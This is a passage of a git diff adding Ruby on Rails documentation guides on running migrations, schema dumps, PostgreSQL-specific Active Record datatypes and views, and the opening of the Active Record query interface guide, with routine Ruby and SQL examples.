+`rails db:migrate`. In its most basic form it just runs the `change` or `up`
+method for all the migrations that have not yet been run. If there are
+no such migrations, it exits. It will run these migrations in order based
+on the date of the migration.
+
+Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which
+will update your `db/schema.rb` file to match the structure of your database.
+
+If you specify a target version, Active Record will run the required migrations
+(change, up, down) until it has reached the specified version. The version
+is the numerical prefix on the migration's filename. For example, to migrate
+to version 20080906120000 run:
+
+```bash
+$ bin/rails db:migrate VERSION=20080906120000
+```
+
+If version 20080906120000 is greater than the current version (i.e., it is
+migrating upwards), this will run the `change` (or `up`) method
+on all migrations up to and
+including 20080906120000, and will not execute any later migrations. If
+migrating downwards, this will run the `down` method on all the migrations
+down to, but not including, 20080906120000.
+
+### Rolling Back
+
+A common task is to rollback the last migration. For example, if you made a
+mistake in it and wish to correct it. Rather than tracking down the version
+number associated with the previous migration you can run:
+
+```bash
+$ bin/rails db:rollback
+```
+
+This will rollback the latest migration, either by reverting the `change`
+method or by running the `down` method. If you need to undo
+several migrations you can provide a `STEP` parameter:
+
+```bash
+$ bin/rails db:rollback STEP=3
+```
+
+will revert the last 3 migrations.
+
+The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
+back up again. As with the `db:rollback` task, you can use the `STEP` parameter
+if you need to go more than one version back, for example:
+
+```bash
+$ bin/rails db:migrate:redo STEP=3
+```
+
+Neither of these bin/rails tasks do anything you could not do with `db:migrate`. They
+are simply more convenient, since you do not need to explicitly specify the
+version to migrate to.
+
+### Setup the Database
+
+The `rails db:setup` task will create the database, load the schema and initialize
+it with the seed data.
+
+### Resetting the Database
+
+The `rails db:reset` task will drop the database and set it up again. This is
+functionally equivalent to `rails db:drop db:setup`.
+
+NOTE: This is not the same as running all the migrations. It will only use the
+contents of the current `db/schema.rb` or `db/structure.sql` file. If a migration can't be rolled back,
+`rails db:reset` may not help you. To find out more about dumping the schema see
+[Schema Dumping and You](#schema-dumping-and-you) section.
+
+### Running Specific Migrations
+
+If you need to run a specific migration up or down, the `db:migrate:up` and
+`db:migrate:down` tasks will do that. Just specify the appropriate version and
+the corresponding migration will have its `change`, `up` or `down` method
+invoked, for example:
+
+```bash
+$ bin/rails db:migrate:up VERSION=20080906120000
+```
+
+will run the 20080906120000 migration by running the `change` method (or the
+`up` method). This task will
+first check whether the migration is already performed and will do nothing if
+Active Record believes that it has already been run.
+
+### Running Migrations in Different Environments
+
+By default running `bin/rails db:migrate` will run in the `development` environment.
+To run migrations against another environment you can specify it using the
+`RAILS_ENV` environment variable while running the command. For example to run
+migrations against the `test` environment you could run:
+
+```bash
+$ bin/rails db:migrate RAILS_ENV=test
+```
+
+### Changing the Output of Running Migrations
+
+By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this
+
+```bash
+==  CreateProducts: migrating =================================================
+-- create_table(:products)
+   -> 0.0028s
+==  CreateProducts: migrated (0.0028s) ========================================
+```
+
+Several methods are provided in migrations that allow you to control all this:
+
+| Method               | Purpose
+| -------------------- | -------
+| suppress_messages    | Takes a block as an argument and suppresses any output generated by the block.
+| say                  | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
+| say_with_time        | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+
+For example, this migration:
+
+```ruby
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+
+    say "Created a table"
+
+    suppress_messages {add_index :products, :name}
+    say "and an index!", true
+
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+end
+```
+
+generates the following output
+
+```bash
+==  CreateProducts: migrating =================================================
+-- Created a table
+   -> and an index!
+-- Waiting for a while
+   -> 10.0013s
+   -> 250 rows
+==  CreateProducts: migrated (10.0054s) =======================================
+```
+
+If you want Active Record to not output anything, then running `rails db:migrate
+VERBOSE=false` will suppress all output.
+
+Changing Existing Migrations
+----------------------------
+
+Occasionally you will make a mistake when writing a migration. If you have
+already run the migration, then you cannot just edit the migration and run the
+migration again: Rails thinks it has already run the migration and so will do
+nothing when you run `rails db:migrate`. You must rollback the migration (for
+example with `bin/rails db:rollback`), edit your migration and then run
+`rails db:migrate` to run the corrected version.
+
+In general, editing existing migrations is not a good idea. You will be
+creating extra work for yourself and your co-workers and cause major headaches
+if the existing version of the migration has already been run on production
+machines. Instead, you should write a new migration that performs the changes
+you require. Editing a freshly generated migration that has not yet been
+committed to source control (or, more generally, which has not been propagated
+beyond your development machine) is relatively harmless.
+
+The `revert` method can be helpful when writing a new migration to undo
+previous migrations in whole or in part
+(see [Reverting Previous Migrations](#reverting-previous-migrations) above).
+
+Schema Dumping and You
+----------------------
+
+### What are Schema Files for?
+
+Migrations, mighty as they may be, are not the authoritative source for your
+database schema. That role falls to either `db/schema.rb` or an SQL file which
+Active Record generates by examining the database. They are not designed to be
+edited, they just represent the current state of the database.
+
+There is no need (and it is error prone) to deploy a new instance of an app by
+replaying the entire migration history. It is much simpler and faster to just
+load into the database a description of the current schema.
+
+For example, this is how the test database is created: the current development
+database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then
+loaded into the test database.
+
+Schema files are also useful if you want a quick look at what attributes an
+Active Record object has. This information is not in the model's code and is
+frequently spread across several migrations, but the information is nicely
+summed up in the schema file. The
+[annotate_models](https://github.com/ctran/annotate_models) gem automatically
+adds and updates comments at the top of each model summarizing the schema if
+you desire that functionality.
+
+### Types of Schema Dumps
+
+There are two ways to dump the schema. This is set in `config/application.rb`
+by the `config.active_record.schema_format` setting, which may be either `:sql`
+or `:ruby`.
+
+If `:ruby` is selected, then the schema is stored in `db/schema.rb`. If you look
+at this file you'll find that it looks an awful lot like one very big
+migration:
+
+```ruby
+ActiveRecord::Schema.define(version: 20080906171750) do
+  create_table "authors", force: true do |t|
+    t.string   "name"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  create_table "products", force: true do |t|
+    t.string   "name"
+    t.text     "description"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+    t.string   "part_number"
+  end
+end
+```
+
+In many ways this is exactly what it is. This file is created by inspecting the
+database and expressing its structure using `create_table`, `add_index`, and so
+on. Because this is database-independent, it could be loaded into any database
+that Active Record supports. This could be very useful if you were to
+distribute an application that is able to run against multiple databases.
+
+NOTE: `db/schema.rb` cannot express database specific items such as triggers,
+sequences, stored procedures or check constraints, etc. Please note that while
+custom SQL statements can be run in migrations, these statements cannot be reconstituted
+by the schema dumper. If you are using features like this, then you
+should set the schema format to `:sql`.
+
+Instead of using Active Record's schema dumper, the database's structure will
+be dumped using a tool specific to the database (via the `db:structure:dump`
+rails task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
+utility is used. For MySQL and MariaDB, this file will contain the output of
+`SHOW CREATE TABLE` for the various tables.
+
+Loading these schemas is simply a question of executing the SQL statements they
+contain. By definition, this will create a perfect copy of the database's
+structure. Using the `:sql` schema format will, however, prevent loading the
+schema into a RDBMS other than the one used to create it.
+
+### Schema Dumps and Source Control
+
+Because schema dumps are the authoritative source for your database schema, it
+is strongly recommended that you check them into source control.
+
+`db/schema.rb` contains the current version number of the database. This
+ensures conflicts are going to happen in the case of a merge where both
+branches touched the schema. When that happens, solve conflicts manually,
+keeping the highest version number of the two.
+
+Active Record and Referential Integrity
+---------------------------------------
+
+The Active Record way claims that intelligence belongs in your models, not in
+the database. As such, features such as triggers or constraints,
+which push some of that intelligence back into the database, are not heavily
+used.
+
+Validations such as `validates :foreign_key, uniqueness: true` are one way in
+which models can enforce data integrity. The `:dependent` option on
+associations allows models to automatically destroy child objects when the
+parent is destroyed. Like anything which operates at the application level,
+these cannot guarantee referential integrity and so some people augment them
+with [foreign key constraints](#foreign-keys) in the database.
+
+Although Active Record does not provide all the tools for working directly with
+such features, the `execute` method can be used to execute arbitrary SQL.
+
+Migrations and Seed Data
+------------------------
+
+The main purpose of Rails' migration feature is to issue commands that modify the
+schema using a consistent process. Migrations can also be used
+to add or modify data. This is useful in an existing database that can't be destroyed
+and recreated, such as a production database.
+
+```ruby
+class AddInitialProducts < ActiveRecord::Migration[5.0]
+  def up
+    5.times do |i|
+      Product.create(name: "Product ##{i}", description: "A product.")
+    end
+  end
+
+  def down
+    Product.delete_all
+  end
+end
+```
+
+To add initial data after a database is created, Rails has a built-in
+'seeds' feature that makes the process quick and easy. This is especially
+useful when reloading the database frequently in development and test environments.
+It's easy to get started with this feature: just fill up `db/seeds.rb` with some
+Ruby code, and run `rails db:seed`:
+
+```ruby
+5.times do |i|
+  Product.create(name: "Product ##{i}", description: "A product.")
+end
+```
+
+This is generally a much cleaner way to set up the database of a blank
+application.
diff --git a/guides/source/active_record_postgresql.md b/guides/source/active_record_postgresql.md
new file mode 100644
index 0000000000..58c61f0864
--- /dev/null
+++ b/guides/source/active_record_postgresql.md
@@ -0,0 +1,517 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Record and PostgreSQL
+============================
+
+This guide covers PostgreSQL specific usage of Active Record.
+
+After reading this guide, you will know:
+
+* How to use PostgreSQL's datatypes.
+* How to use UUID primary keys.
+* How to implement full text search with PostgreSQL.
+* How to back your Active Record models with database views.
+
+--------------------------------------------------------------------------------
+
+In order to use the PostgreSQL adapter you need to have at least version 9.1
+installed. Older versions are not supported.
+
+To get started with PostgreSQL have a look at the
+[configuring Rails guide](configuring.html#configuring-a-postgresql-database).
+It describes how to properly setup Active Record for PostgreSQL.
+
+Datatypes
+---------
+
+PostgreSQL offers a number of specific datatypes. Following is a list of types,
+that are supported by the PostgreSQL adapter.
+
+### Bytea
+
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-binary.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-binarystring.html)
+
+```ruby
+# db/migrate/20140207133952_create_documents.rb
+create_table :documents do |t|
+  t.binary 'payload'
+end
+
+# app/models/document.rb
+class Document < ApplicationRecord
+end
+
+# Usage
+data = File.read(Rails.root + "tmp/output.pdf")
+Document.create payload: data
+```
+
+### Array
+
+* [type definition](https://www.postgresql.org/docs/current/static/arrays.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-array.html)
+
+```ruby
+# db/migrate/20140207133952_create_books.rb
+create_table :books do |t|
+  t.string 'title'
+  t.string 'tags', array: true
+  t.integer 'ratings', array: true
+end
+add_index :books, :tags, using: 'gin'
+add_index :books, :ratings, using: 'gin'
+
+# app/models/book.rb
+class Book < ApplicationRecord
+end
+
+# Usage
+Book.create title: "Brave New World",
+            tags: ["fantasy", "fiction"],
+            ratings: [4, 5]
+
+## Books for a single tag
+Book.where("'fantasy' = ANY (tags)")
+
+## Books for multiple tags
+Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"])
+
+## Books with 3 or more ratings
+Book.where("array_length(ratings, 1) >= 3")
+```
+
+### Hstore
+
+* [type definition](https://www.postgresql.org/docs/current/static/hstore.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/hstore.html#AEN179902)
+
+NOTE: You need to enable the `hstore` extension to use hstore.
+
+```ruby
+# db/migrate/20131009135255_create_profiles.rb
+ActiveRecord::Schema.define do
+  enable_extension 'hstore' unless extension_enabled?('hstore')
+  create_table :profiles do |t|
+    t.hstore 'settings'
+  end
+end
+
+# app/models/profile.rb
+class Profile < ApplicationRecord
+end
+
+# Usage
+Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })
+
+profile = Profile.first
+profile.settings # => {"color"=>"blue", "resolution"=>"800x600"}
+
+profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
+profile.save!
+
+Profile.where("settings->'color' = ?", "yellow")
+# => #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]>
+```
+
+### JSON and JSONB
+
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-json.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-json.html)
+
+```ruby
+# db/migrate/20131220144913_create_events.rb
+# ... for json datatype:
+create_table :events do |t|
+  t.json 'payload'
+end
+# ... or for jsonb datatype:
+create_table :events do |t|
+  t.jsonb 'payload'
+end
+
+# app/models/event.rb
+class Event < ApplicationRecord
+end
+
+# Usage
+Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})
+
+event = Event.first
+event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]}
+
+## Query based on JSON document
+# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text
+Event.where("payload->>'kind' = ?", "user_renamed")
+```
+
+### Range Types
+
+* [type definition](https://www.postgresql.org/docs/current/static/rangetypes.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-range.html)
+
+This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.2.2/Range.html) objects.
+
+```ruby
+# db/migrate/20130923065404_create_events.rb
+create_table :events do |t|
+  t.daterange 'duration'
+end
+
+# app/models/event.rb
+class Event < ApplicationRecord
+end
+
+# Usage
+Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))
+
+event = Event.first
+event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014
+
+## All Events on a given date
+Event.where("duration @> ?::date", Date.new(2014, 2, 12))
+
+## Working with range bounds
+event = Event.
+  select("lower(duration) AS starts_at").
+  select("upper(duration) AS ends_at").first
+
+event.starts_at # => Tue, 11 Feb 2014
+event.ends_at # => Thu, 13 Feb 2014
+```
+
+### Composite Types
+
+* [type definition](https://www.postgresql.org/docs/current/static/rowtypes.html)
+
+Currently there is no special support for composite types. They are mapped to
+normal text columns:
+
+```sql
+CREATE TYPE full_address AS
+(
+  city VARCHAR(90),
+  street VARCHAR(90)
+);
+```
+
+```ruby
+# db/migrate/20140207133952_create_contacts.rb
+execute <<-SQL
+ CREATE TYPE full_address AS
+ (
+   city VARCHAR(90),
+   street VARCHAR(90)
+ );
+SQL
+create_table :contacts do |t|
+  t.column :address, :full_address
+end
+
+# app/models/contact.rb
+class Contact < ApplicationRecord
+end
+
+# Usage
+Contact.create address: "(Paris,Champs-Élysées)"
+contact = Contact.first
+contact.address # => "(Paris,Champs-Élysées)"
+contact.address = "(Paris,Rue Basse)"
+contact.save!
+```
+
+### Enumerated Types
+
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-enum.html)
+
+Currently there is no special support for enumerated types. They are mapped as
+normal text columns:
+
+```ruby
+# db/migrate/20131220144913_create_articles.rb
+def up
+  execute <<-SQL
+    CREATE TYPE article_status AS ENUM ('draft', 'published');
+  SQL
+  create_table :articles do |t|
+    t.column :status, :article_status
+  end
+end
+
+# NOTE: It's important to drop table before dropping enum.
+def down
+  drop_table :articles
+
+  execute <<-SQL
+    DROP TYPE article_status;
+  SQL
+end
+
+# app/models/article.rb
+class Article < ApplicationRecord
+end
+
+# Usage
+Article.create status: "draft"
+article = Article.first
+article.status # => "draft"
+
+article.status = "published"
+article.save!
+```
+
+To add a new value before/after existing one you should use [ALTER TYPE](https://www.postgresql.org/docs/current/static/sql-altertype.html):
+
+```ruby
+# db/migrate/20150720144913_add_new_state_to_articles.rb
+# NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction!
+disable_ddl_transaction!
+
+def up
+  execute <<-SQL
+    ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published';
+  SQL
+end
+```
+
+NOTE: ENUM values can't be dropped currently. You can read why [here](https://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com).
+
+Hint: to show all the values of the all enums you have, you should call this query in `bin/rails db` or `psql` console:
+
+```sql
+SELECT n.nspname AS enum_schema,
+       t.typname AS enum_name,
+       e.enumlabel AS enum_value
+  FROM pg_type t
+      JOIN pg_enum e ON t.oid = e.enumtypid
+      JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace
+```
+
+### UUID
+
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-uuid.html)
+* [pgcrypto generator function](https://www.postgresql.org/docs/current/static/pgcrypto.html#AEN182570)
+* [uuid-ossp generator functions](https://www.postgresql.org/docs/current/static/uuid-ossp.html)
+
+NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp`
+extension to use uuid.
+
+```ruby
+# db/migrate/20131220144913_create_revisions.rb
+create_table :revisions do |t|
+  t.uuid :identifier
+end
+
+# app/models/revision.rb
+class Revision < ApplicationRecord
+end
+
+# Usage
+Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"
+
+revision = Revision.first
+revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"
+```
+
+You can use `uuid` type to define references in migrations:
+
+```ruby
+# db/migrate/20150418012400_create_blog.rb
+enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
+create_table :posts, id: :uuid, default: 'gen_random_uuid()'
+
+create_table :comments, id: :uuid, default: 'gen_random_uuid()' do |t|
+  # t.belongs_to :post, type: :uuid
+  t.references :post, type: :uuid
+end
+
+# app/models/post.rb
+class Post < ApplicationRecord
+  has_many :comments
+end
+
+# app/models/comment.rb
+class Comment < ApplicationRecord
+  belongs_to :post
+end
+```
+
+See [this section](#uuid-primary-keys) for more details on using UUIDs as primary key.
+
+### Bit String Types
+
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-bit.html)
+* [functions and operators](https://www.postgresql.org/docs/current/static/functions-bitstring.html)
+
+```ruby
+# db/migrate/20131220144913_create_users.rb
+create_table :users, force: true do |t|
+  t.column :settings, "bit(8)"
+end
+
+# app/models/device.rb
+class User < ApplicationRecord
+end
+
+# Usage
+User.create settings: "01010011"
+user = User.first
+user.settings # => "01010011"
+user.settings = "0xAF"
+user.settings # => 10101111
+user.save!
+```
+
+### Network Address Types
+
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-net-types.html)
+
+The types `inet` and `cidr` are mapped to Ruby
+[`IPAddr`](http://www.ruby-doc.org/stdlib-2.2.2/libdoc/ipaddr/rdoc/IPAddr.html)
+objects. The `macaddr` type is mapped to normal text.
+
+```ruby
+# db/migrate/20140508144913_create_devices.rb
+create_table(:devices, force: true) do |t|
+  t.inet 'ip'
+  t.cidr 'network'
+  t.macaddr 'address'
+end
+
+# app/models/device.rb
+class Device < ApplicationRecord
+end
+
+# Usage
+macbook = Device.create(ip: "192.168.1.12",
+                        network: "192.168.2.0/24",
+                        address: "32:01:16:6d:05:ef")
+
+macbook.ip
+# => #<IPAddr: IPv4:192.168.1.12/255.255.255.255>
+
+macbook.network
+# => #<IPAddr: IPv4:192.168.2.0/255.255.255.0>
+
+macbook.address
+# => "32:01:16:6d:05:ef"
+```
+
+### Geometric Types
+
+* [type definition](https://www.postgresql.org/docs/current/static/datatype-geometric.html)
+
+All geometric types, with the exception of `points` are mapped to normal text.
+A point is casted to an array containing `x` and `y` coordinates.
+
+
+UUID Primary Keys
+-----------------
+
+NOTE: You need to enable the `pgcrypto` (only PostgreSQL >= 9.4) or `uuid-ossp`
+extension to generate random UUIDs.
+
+```ruby
+# db/migrate/20131220144913_create_devices.rb
+enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
+create_table :devices, id: :uuid, default: 'gen_random_uuid()' do |t|
+  t.string :kind
+end
+
+# app/models/device.rb
+class Device < ApplicationRecord
+end
+
+# Usage
+device = Device.create
+device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e"
+```
+
+NOTE: `gen_random_uuid()` (from `pgcrypto`) is assumed if no `:default` option was
+passed to `create_table`.
+
+Full Text Search
+----------------
+
+```ruby
+# db/migrate/20131220144913_create_documents.rb
+create_table :documents do |t|
+  t.string 'title'
+  t.string 'body'
+end
+
+add_index :documents, "to_tsvector('english', title || ' ' || body)", using: :gin, name: 'documents_idx'
+
+# app/models/document.rb
+class Document < ApplicationRecord
+end
+
+# Usage
+Document.create(title: "Cats and Dogs", body: "are nice!")
+
+## all documents matching 'cat & dog'
+Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
+                 "cat & dog")
+```
+
+Database Views
+--------------
+
+* [view creation](https://www.postgresql.org/docs/current/static/sql-createview.html)
+
+Imagine you need to work with a legacy database containing the following table:
+
+```
+rails_pg_guide=# \d "TBL_ART"
+                                        Table "public.TBL_ART"
+   Column   |            Type             |                         Modifiers
+------------+-----------------------------+------------------------------------------------------------
+ INT_ID     | integer                     | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass)
+ STR_TITLE  | character varying           |
+ STR_STAT   | character varying           | default 'draft'::character varying
+ DT_PUBL_AT | timestamp without time zone |
+ BL_ARCH    | boolean                     | default false
+Indexes:
+    "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID")
+```
+
+This table does not follow the Rails conventions at all.
+Because simple PostgreSQL views are updateable by default,
+we can wrap it as follows:
+
+```ruby
+# db/migrate/20131220144913_create_articles_view.rb
+execute <<-SQL
+CREATE VIEW articles AS
+  SELECT "INT_ID" AS id,
+         "STR_TITLE" AS title,
+         "STR_STAT" AS status,
+         "DT_PUBL_AT" AS published_at,
+         "BL_ARCH" AS archived
+  FROM "TBL_ART"
+  WHERE "BL_ARCH" = 'f'
+  SQL
+
+# app/models/article.rb
+class Article < ApplicationRecord
+  self.primary_key = "id"
+  def archive!
+    update_attribute :archived, true
+  end
+end
+
+# Usage
+first = Article.create! title: "Winter is coming",
+                        status: "published",
+                        published_at: 1.year.ago
+second = Article.create! title: "Brace yourself",
+                         status: "draft",
+                         published_at: 1.month.ago
+
+Article.count # => 2
+first.archive!
+Article.count # => 1
+```
+
+NOTE: This application only cares about non-archived `Articles`. A view also
+allows for conditions so we can exclude the archived `Articles` directly.
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
new file mode 100644
index 0000000000..c79c86ac0c
--- /dev/null
+++ b/guides/source/active_record_querying.md
@@ -0,0 +1,2048 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Record Query Interface
+=============================
+
+This guide covers different ways to retrieve data from the database using Active Record.
+
+After reading this guide, you will know:
+
+* How to find records using a variety of methods and conditions.
+* How to specify the order, retrieved attributes, grouping, and other properties of the found records.
+* How to use eager loading to reduce the number of database queries needed for data retrieval.
+* How to use dynamic finder methods.
+* How to use method chaining to use multiple Active Record methods together.
+* How to check for the existence of particular records.
+* How to perform various calculations on Active Record models.
+* How to run EXPLAIN on relations.
+
+--------------------------------------------------------------------------------
+
+If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+Code examples throughout this guide will refer to one or more of the following models:
+
+TIP: All of the following models use `id` as the primary key, unless specified otherwise.
+
+```ruby
+class Client < ApplicationRecord
+  has_one :address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+```
+
+```ruby
+class Address < ApplicationRecord
+  belongs_to :client
+end
+```
+
+```ruby
+class Order < ApplicationRecord
+  belongs_to :client, counter_cache: true
+end
+```
+
+```ruby
+class Role < ApplicationRecord
+  has_and_belongs_to_many :clients
+end
+```
+
+Active Record will perform queries on the database for you and is compatible with most database systems, including MySQL, MariaDB, PostgreSQL, and SQLite. Regardless of which database system you're using, the Active Record method format will always be the same.
+
+Retrieving Objects from the Database
+------------------------------------
+
+To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
+
+The methods are:
+
+* `find`
+* `create_with`
+* `distinct`
+* `eager_load`
+* `extending`
+* `from`
+* `group`
+* `having`
+* `includes`
+* `joins`
+* `left_outer_joins`
+* `limit`
+* `lock`
+* `none`
+* `offset`
+* `order`
+* `preload`
+* `readonly`
+* `references`
+* `reorder`
+* `reverse_order`
+* `select`
+* `where`
+
+Finder methods that return a collection, such as `where` and `group`, return an instance of `ActiveRecord::Relation`.  Methods that find a single entity, such as `find` and `first`, return a single instance of the model.
+
+The primary operation of `Model.find(options)` can be summarized as:
+
+* Convert the supplied options to an equivalent SQL query.
+* Fire the SQL query and retrieve the corresponding results from the database.
+* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
+* Run `after_find` and then `after_initialize` callbacks, if any.
+
+### Retrieving a Single Object
+
+Active Record provides several different ways of retrieving a single object.
+
+#### `find`
+
+Using the `find` method, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
+
+```ruby
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+# => #<Client id: 10, first_name: "Ryan">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
+```
+
+The `find` method will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
+
+You can also use this method to query for multiple objects. Call the `find` method and pass in an array of primary keys. The return will be an array containing all of the matching records for the supplied _primary keys_. For example:
+
+```ruby
+# Find the clients with primary keys 1 and 10.
+clients = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+```
+
+WARNING: The `find` method will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
+
+#### `take`
+
+The `take` method retrieves a record without any implicit ordering. For example:
+
+```ruby
+client = Client.take
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 1
+```
+
+The `take` method returns `nil` if no record is found and no exception will be raised.
+
+You can pass in a numerical argument to the `take` method to return up to that number of results. For example
+
+```ruby
+clients = Client.take(2)
+# => [
+#   #<Client id: 1, first_name: "Lifo">,
+#   #<Client id: 220, first_name: "Sara">
+# ]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 2
+```
+
+The `take!` method behaves exactly like `take`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
+
+TIP: The retrieved record may vary depending on the database engine.
+
+#### `first`
+
+The `first` method finds the first record ordered by primary key (default). For example:
+
+```ruby
+client = Client.first
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+```
+
+The `first` method returns `nil` if no matching record is found and no exception will be raised.
+
+If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `first` will return the first record according to this ordering.
+
+You can pass in a numerical argument to the `first` method to return up to that number of results. For example
+
+```ruby
+clients = Client.first(3)
+# => [
+#   #<Client id: 1, first_name: "Lifo">,
+#   #<Client id: 2, first_name: "Fifo">,
+#   #<Client id: 3, first_name: "Filo">
+# ]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3
+```
+
+On a collection that is ordered using `order`, `first` will return the first record ordered by the specified attribute for `order`.
+
+```ruby
+client = Client.order(:first_name).first
+# => #<Client id: 2, first_name: "Fifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1
+```
+
+The `first!` method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `last`
+
+The `last` method finds the last record ordered by primary key (default). For example:
+
+```ruby
+client = Client.last
+# => #<Client id: 221, first_name: "Russel">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+```
+
+The `last` method returns `nil` if no matching record is found and no exception will be raised.
+
+If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `last` will return the last record according to this ordering.
+
+You can pass in a numerical argument to the `last` method to return up to that number of results. For example
+
+```ruby
+clients = Client.last(3)
+# => [
+#   #<Client id: 219, first_name: "James">,
+#   #<Client id: 220, first_name: "Sara">,
+#   #<Client id: 221, first_name: "Russel">
+# ]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3
+```
+
+On a collection that is ordered using `order`, `last` will return the last record ordered by the specified attribute for `order`.
+
+```ruby
+client = Client.order(:first_name).last
+# => #<Client id: 220, first_name: "Sara">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1
+```
+
+The `last!` method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `find_by`
+
+The `find_by` method finds the first record matching some conditions. For example:
+
+```ruby
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by first_name: 'Jon'
+# => nil
+```
+
+It is equivalent to writing:
+
+```ruby
+Client.where(first_name: 'Lifo').take
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT 1
+```
+
+The `find_by!` method behaves exactly like `find_by`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. For example:
+
+```ruby
+Client.find_by! first_name: 'does not exist'
+# => ActiveRecord::RecordNotFound
+```
+
+This is equivalent to writing:
+
+```ruby
+Client.where(first_name: 'does not exist').take!
+```
+
+### Retrieving Multiple Objects in Batches
+
+We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
+
+This may appear straightforward:
+
+```ruby
+# This may consume too much memory if the table is big.
+User.all.each do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+```
+
